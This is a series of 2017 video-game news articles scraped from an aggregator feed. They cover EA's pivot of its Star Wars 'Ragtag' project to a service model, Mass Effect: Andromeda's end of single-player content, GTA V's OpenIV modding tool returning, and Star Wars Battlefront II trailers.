EA is rebooting the Star Wars project, which has the codename Ragtag, with its Vancouver studio leading production. The rumors are that Ragtag was in trouble, and EA — and potentially even Disney — wasn’t happy. If that’s true, EA faced a few choices: It could cancel the game completely, try to save it as is with Visceral, or rework it as something less risky. EA went with the third option. It has the Star Wars license, and it had to decide how it was going to invest its resources going forward to get the most from the brand. In the end, EA decided that completely reworking it as a service-based game was a less risky way to spend that money than trying to save a messy, linear single-player adventure.

The team in charge of Ragtag now, EA Canada (Vancouver), is the same developer that is responsible for the FIFA series. It’s not a coincidence that EA is scraping work on the Uncharted-like Star Wars: Ragtag and sending it to the studio that makes FIFA Ultimate Team, the lucrative service-based mode where players buy card packs to build their own squads.

In a blog post, the company came clean about its reasoning.

“In its current form, [Visceral’s Star Wars] was shaping up to be a story-based, linear adventure game,” EA Worldwide Studios executive vice president Patrick Söderlund wrote. “Throughout the development process, we have been testing the game concept with players, listening to the feedback about what and how they want to play, and closely tracking fundamental shifts in the marketplace. It has become clear that to deliver an experience that players will want to come back to and enjoy for a long time to come, we needed to pivot the design.”

What are those marketplace shifts? EA chief executive officer Andrew Wilson explained it in May.

“EA’s games today are live services — amazing experiences that we update and evolve to deliver ongoing fun that keeps players engaged, connects them to friends, and brings them more content and grows our network,” Wilson said during a call with investors. “This strategy has been at the core of our digital transformation, and today our live services are some of the strongest and most vibrant in the industry.”

With EA doing better than ever thanks to games-as-a-service (GaaS), it can afford to take fewer risks. And you know what is a risk? Single-player linear games that don’t run as a service. Look to Agents of Mayhem, which is a fine game. That character-driven shooter bombed in August when it debuted. An EA Star Wars game is probably never going to launch to indifference from consumers, but with the expenses of producing photorealistic games at 4K resolutions and the cost of paying Disney to use the license could make the return on investment a terrible use of EA’s resources.

That’s just the reality of today’s gaming market, according to The NPD Group gaming analyst Mat Piscatella.

“The top-selling games in the console market at the moment are primarily service based games that promise significant, or even unlimited, hours of gameplay,” Piscatella told GamesBeat recently. “Single-player, non-service based games have to be nearly perfect in execution not only with the game itself, but also in the marketing and promotion around the game, to get to the top of the charts. It is a very difficult market for the $ 60 single-player game to hit the volumes in a launch month that service based games can reach, even if they have been in the market for some time.”

Electronic Arts’ stock price took a hit on the Visceral news. It’s trading down nearly 4 percent at $ 111.60 at the time we posted the story. But that’s not because EA is moving away from big blockbuster single-player games. Instead, investors are unhappy that EA won’t have another Star Wars game before the end of this fiscal year.

But EA’s stock price is only just short of its historical high, and that is a direct result of the profits it’s making from service-based games.

This sudden shift, however, comes at a time when the gaming audience is getting more vocal about their frustrations with a hallmark of GaaS: the loot box. This business model works for companies like EA because they use it to sell bundles of downloadable content that include random digital items. Only a portion of players spend money on those goods, but they can spend a lot more than $ 60 (the standard price for big releases). And that revenue is far more reliable and steady than story expansions, map packs, and other traditional DLC models.

But some players dislike loot boxes because they believe that publishers are tuning their games behind the scenes to encourage spending. Activision just patented a means to use player data to pair up folks with other people in multiplayer matches that may make you want to spend money.

A loud group of gamers see this as predatory, and some people have started calling for government regulation to treat loot boxes the same as slot machines.

But EA’s revealing statement seems directed at that audience. It is saying that it can’t justify the budget of a blockbuster Star Wars game if it doesn’t work as a service.

Niko Partners analyst Daniel Ahmad echoes that sentiment.

“Rising game budgets and expectations from consumers have pushed triple-A publishers to turn to the GaaS model in order to extend the lifecycle of the title and total consumer spend on the game,” Ahmad said. “This helps de-emphasize total unit sales as a measure of success and instead focuses on long-term engagement. Triple-A budget single player, linear, $ 60 games are becoming riskier every day as these games 100 percent rely on unit sales as a measure of success.”

But EA is also saying that it can justify service games because that is where players are willing to spend their money. But when it comes to product games, players have more options than ever to avoid spending full price — and that is driving down revenues while game production costs are rising.

Game consumers are savvy. They buy used, they wait for deep discounts, they wait for games to hit subscription services, and some even resort to piracy. All of these options drive down the average revenue per player (ARPU) for a game, and publishers have battled these market forces for years. They introduced $ 100 collector’s editions, season passes, online passes, horse armor, digital-rights management, and more. Microsoft even originally built the Xbox One in a way that would restrict used-game sales before backpedaling on that policy.

Publishers tried every thing they could think of to make more money and to obstruct consumer purchasing behaviors they didn’t like.

In response to most of those endeavors, the collective attitude of gamers was (justifiably): “Publishers shouldn’t try to change consumers. Instead, game makers need to adapt or die.”

Well, guess what. Publishers adapted to the way we buy and play games. We can wait for discounts, buy used, borrow, rent, or even pirate a service game because the company could still end up making more money off of us if we get into the habit of buying loot boxes.

And while we say we don’t like loot boxes and services, EA claims that, according to its data, we actually prefer it. You can say that the industry is only thriving because it is taking advantage of the most vulnerable people — children and gambling addicts — but the burden of proof for that is on the public. I think it’s possible that the industry has enough data to know exactly how dangerous or relatively harmless loot boxes are, and if it can prove that it’s closer to a collectible card game like Magic: The Gathering than Las Vegas, then it should come out and do that. But legislation or regulation seem unlikely if opponents only show up with their moral panic and no evidence of any societal damage.

Beyond the larger impact of loot boxes, it’s still startling to have a publisher like EA come out and say that it is canceling a project because it is a “single-player linear” adventure. While we have always felt the industry drifting in that direction, it was easy to assume that the death of those kinds of games is still years off. But now EA has stood up and said, “actually, screw those games — they’re not worth it.” And sure, other companies are still making them, but EA is probably just ahead of the curve on this trend.

“Every linear single-player game from a published studio that comes out over the next two-to-three years is a miracle,” Nuclear Throne developer and Vlambeer cofounder Rami Ismail said on Twitter. “Support them if you like them.”

You can hear us go in depth about all of this on the podcast this week, which you can get to by clicking play right here:

Now, if you’ll excuse me, I need to figure out how to sell journalism loot boxes.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

VentureBeat

]]> https://briefnews.eu/single-player-is-the-vestigial-limb-of-publishers-that-had-to-adapt-or-die/feed/ 0 ‘Mass Effect: Andromeda’ won’t get more single-player content https://briefnews.eu/mass-effect-andromeda-wont-get-more-single-player-content/ https://briefnews.eu/mass-effect-andromeda-wont-get-more-single-player-content/#respond Sun, 20 Aug 2017 14:37:08 +0000 http://briefnews.eu/mass-effect-andromeda-wont-get-more-single-player-content/

BioWare vowed to fix Mass Effect: Andromeda‘s numerous teething troubles shortly after launch, but there’s apparently only so much it can do. The studio has revealed that its 1.10 patch is the last single-player update for the game — in a confirmation of rumors, there won’t be any solo-focused patches or (more importantly) downloadable content. The game was meant to expand on the Pathfinder story though multiplayer missions, BioWare says, and other stories will be told through comics and novels.

The company will talk about multiplayer add-ons, support and N7 Day (November 7th)in the “coming weeks.”

While the decision against DLC wasn’t a spur-of-the-moment choice (EA previously shot down a rumor that it had cancelled extra content), the halt to single-player patches says a lot about the state of Andromeda. BioWare and EA aren’t happy with the game, and they aren’t about to sink more time into the solo side of it. That doesn’t mean Mass Effect on its way out, though. While BioWare is shy about what will happen next (it only “hope[s] to see you again in the Mass Effect universe), the franchise’s Casey Hudson is returning. That, to us, suggests that BioWare wants to do whatever it takes to restore the series’ good name.

Source: BioWare

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]]> https://briefnews.eu/mass-effect-andromeda-wont-get-more-single-player-content/feed/ 0 Bioware slams the door on any more Mass Effect: Andromeda single-player content https://briefnews.eu/bioware-slams-the-door-on-any-more-mass-effect-andromeda-single-player-content/ https://briefnews.eu/bioware-slams-the-door-on-any-more-mass-effect-andromeda-single-player-content/#respond Sun, 20 Aug 2017 01:28:43 +0000 http://briefnews.eu/bioware-slams-the-door-on-any-more-mass-effect-andromeda-single-player-content/

Enlarge / Pretend that planet is Mass Effect: Andromeda‘s single-player DLC, then look at it wistfully, turn around, and walk away. (credit: Bioware)

Anybody who hoped the troubled Bioware game Mass Effect: Andromeda would get some more single-player content should probably sit down. The game developer chose to deliver bad news to fans on Saturday evening via its official blog, confirming that it would not create any more “single-player or in-game story content” for the game.

If you’re anxious to see the game’s loose plot threads receive any resolution, you’ll have to turn to other means. The game’s existing 1.1 patch, which went live nearly three weeks ago, marked the end of any single-player changes, updates, or patches. Multiplayer modes will receive more “story-based APEX missions,” Bioware says, and other stories, including those of the fate of the quarian ark, will be shuffled into “our upcoming comics and novels.”

This confirms a DLC cancellation rumor dug up by Kotaku back in June. According to Kotaku’s sources, EA had already bailed on plans for either add-on DLC or a full-fledged Andromeda 2 sequel after the game’s lukewarm critical and commercial performance.

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Ars Technica

]]> https://briefnews.eu/bioware-slams-the-door-on-any-more-mass-effect-andromeda-single-player-content/feed/ 0 Single-player modding returns to GTA V after publisher takedown https://briefnews.eu/single-player-modding-returns-to-gta-v-after-publisher-takedown/ https://briefnews.eu/single-player-modding-returns-to-gta-v-after-publisher-takedown/#respond Sat, 24 Jun 2017 16:17:00 +0000 http://briefnews.eu/single-player-modding-returns-to-gta-v-after-publisher-takedown/

Enlarge / This image represents Take-Two saying “Well, I guess, there’s nothing illegal here after all. Never mind that legal threat.” (credit: Take-Two Interactive)

When popular Grand Theft Auto V modding tool OpenIV was taken down by a cease-and-desist request from publisher Take-Two earlier this month, the fan reaction was fast and blistering. Players bombarded Grand Theft Auto V with thousands of negative reviews on Steam, and over 77,000 people signed an online petition demanding the tool be restored.

Apparently, those gamers’ cries have been heard loud and clear. As of yesterday evening, OpenIV is once again being updated and distributed by its creators.

While publisher Take-Two has been going after cheating tools in GTA Online of late, developer Rockstar long ago said it wouldn’t go after Grand Theft Auto V players for using single-player mods. That’s why Take-Two’s sudden legal threat against the single-player-focused OpenIV earlier this month was a bit surprising, to say the least.

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]]> https://briefnews.eu/single-player-modding-returns-to-gta-v-after-publisher-takedown/feed/ 0 EA Officially Reveals Star Wars Battlefront II, Single-Player And All https://briefnews.eu/ea-officially-reveals-star-wars-battlefront-ii-single-player-and-all/ https://briefnews.eu/ea-officially-reveals-star-wars-battlefront-ii-single-player-and-all/#respond Sun, 16 Apr 2017 10:25:20 +0000 http://briefnews.eu/ea-officially-reveals-star-wars-battlefront-ii-single-player-and-all/

Star Wars: Battlefront II is definitely happening and it will have a single-player story (if you still had any doubts). EA officially “announced” the game at this year’s Star Wars Celebration, showing off the game’s protagonist and aerial combat. It’ll be out this year on November 17 for PS4, Xbox One, and PC.

The trailer is basically an expanded version of the leaked teaser from earlier in the week. In addition to featuring a woman Storm Trooper, named Iden Versio, recounting “the day the real war began,” the official trailer also shows off the Emperor, tons of exploding space stuff, and cameos from the likes of Darth Maul and other favorites of children’s face-painters the world over. Throughout the game’s single-player, you’ll be able to play as the likes of Luke Skywalker, Kylo Ren, and others.

The game’s website states:

“Forge a new path as Iden Versio, commander of Inferno Squad—an Imperial special forces unit equally lethal on the ground and in space. Encounter many of Star Wars ‘ greatest characters in a story of revenge, betrayal, and redemption that spans 30 years.”

In light of complaints from some about the lack of a single-player campaign in 2015's Battlefront, EA is emphasizing the solo-story with the sequel. Battlefront II will feature missions from all three eras of the series and be considered canon (if that’s the sort of thing you care about).

The game will also feature something else missing from its predecessor: space battles. These dogfights will feature up to 24 players and as many Tie-Fighters and X-Wings as you can handle. Each ship will have a unique roll and progression, with heroes like Luke and Kylo having their own custom rides.

The series started with the first Battlefront released in 2004. While Pandemic Studios’ game spawned a sequel and went on to become a cult favorite, its third entry was ultimately canceled. As a result, EA rebooted the series with 2015's Star Wars: Battlefront after it acquired the license in 2013, making Star Wars: Battlefront II technically the fourth game in the series (or fifth depending on how many hours you’ve spent looking at footage of the unreleased Battlefront III on YouTube).

EA stopped updating Battlefront I for the most part late this past winter. You can watch the re-watch the panel discussing Battlefront II at this year’s Star Wars Celebration here.

Kotaku

]]> https://briefnews.eu/ea-officially-reveals-star-wars-battlefront-ii-single-player-and-all/feed/ 0 Star Wars: Battlefront II’s official trailer is all about the single-player campaign https://briefnews.eu/star-wars-battlefront-iis-official-trailer-is-all-about-the-single-player-campaign/ https://briefnews.eu/star-wars-battlefront-iis-official-trailer-is-all-about-the-single-player-campaign/#respond Sun, 16 Apr 2017 04:02:40 +0000 http://briefnews.eu/star-wars-battlefront-iis-official-trailer-is-all-about-the-single-player-campaign/

Earlier this week a teaser trailer for the upcoming Star Wars: Battlefront II leaked online, but here at Star Wars Celebration EA has revealed the real thing — and it includes quite a bit more than the leaked version. The centerpiece of the trailer is the single-player campaign, which focuses on an elite TIE Fighter pilot who is spurred to vengeance against the Rebellion after she sees the second Death Star blown to smithereens while on the forest moon of Endor.

It appears to be a darker take on the Star Wars mythos, putting the Empire in the heroic role most traditionally occupied by the Jedi or characters like Han Solo and Princess Leia. But the trailer also teases the expanded multiplayer version of the game, with Darth Maul, Rey, and Kylo Ren all making brief appearances, representing a scope of playable characters and worlds that the 2015 Battlefront never even attempted. There also appears to be a greater emphasis on space battle, something that was fun in the last installment, but never received much attention other than some DLC content and the VR expansion pack for the PlayStation VR. Star Wars: Battlefront II is expected to be released later this year.

Read more: Star Wars Battlefront II makes the imperials the good guys

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]]> https://briefnews.eu/star-wars-battlefront-iis-official-trailer-is-all-about-the-single-player-campaign/feed/ 0 Leaked Star Wars: Battlefront II trailer teases space combat and single-player campaign https://briefnews.eu/leaked-star-wars-battlefront-ii-trailer-teases-space-combat-and-single-player-campaign/ https://briefnews.eu/leaked-star-wars-battlefront-ii-trailer-teases-space-combat-and-single-player-campaign/#respond Wed, 12 Apr 2017 03:38:46 +0000 http://briefnews.eu/leaked-star-wars-battlefront-ii-trailer-teases-space-combat-and-single-player-campaign/

The Star Wars: Battlefront II trailer has jumped out of hyperspace a little earlier than expected. Originally intended to be shown for the first time at this weekend’s Star Wars Celebration, a leaked version of the trailer instead arrived online this evening, showing the kind of combat we can expect from EA’s next Star Wars shooter.

Namely, multiplayer battles on land, in the air, and in space. Clips of in-engine footage show Tauntauns running through the legs of AT-ATs, TIE Fighters screaming across lakes, and X-Wings dodging capital ship fire. The trailer promises that the action will take place across all Star Wars eras, and features appearances from older characters like Yoda and Darth Maul, as well as newbies Rey and Kylo Ren.

It’s not yet clear exactly which parts of the Star Wars canon the game will draw from, but a voiceover exhorts Imperial soldiers to “avenge our Emperor,” suggesting that at least one of the stages will be set after Return of the Jedi’s Battle of Endor. Other snippets appear to show Starkiller Base and a snowy world that could be Hoth.

That voiceover apparently belongs to a female Stormtrooper (or at least an Imperial soldier) who remembers her last order as “the day the real war began,” and whose “untold story” is the one likely to be told in the game’s planned single-player campaign. That, plus the First Order imagery in the trailer, would indicate that Battlefront II will flesh out the Empire’s downfall — a process still being hammered out in Star Wars books and comics.

The trailer doesn’t specify a release date, but the last Battlefront hit in November 2015, just before The Force Awakens’ December release. The new trailer’s final splash screen advises people to pre-order to access heroes from Star Wars: The Last Jedi, suggesting it too will be arriving around the same time as the next Star Wars episode.

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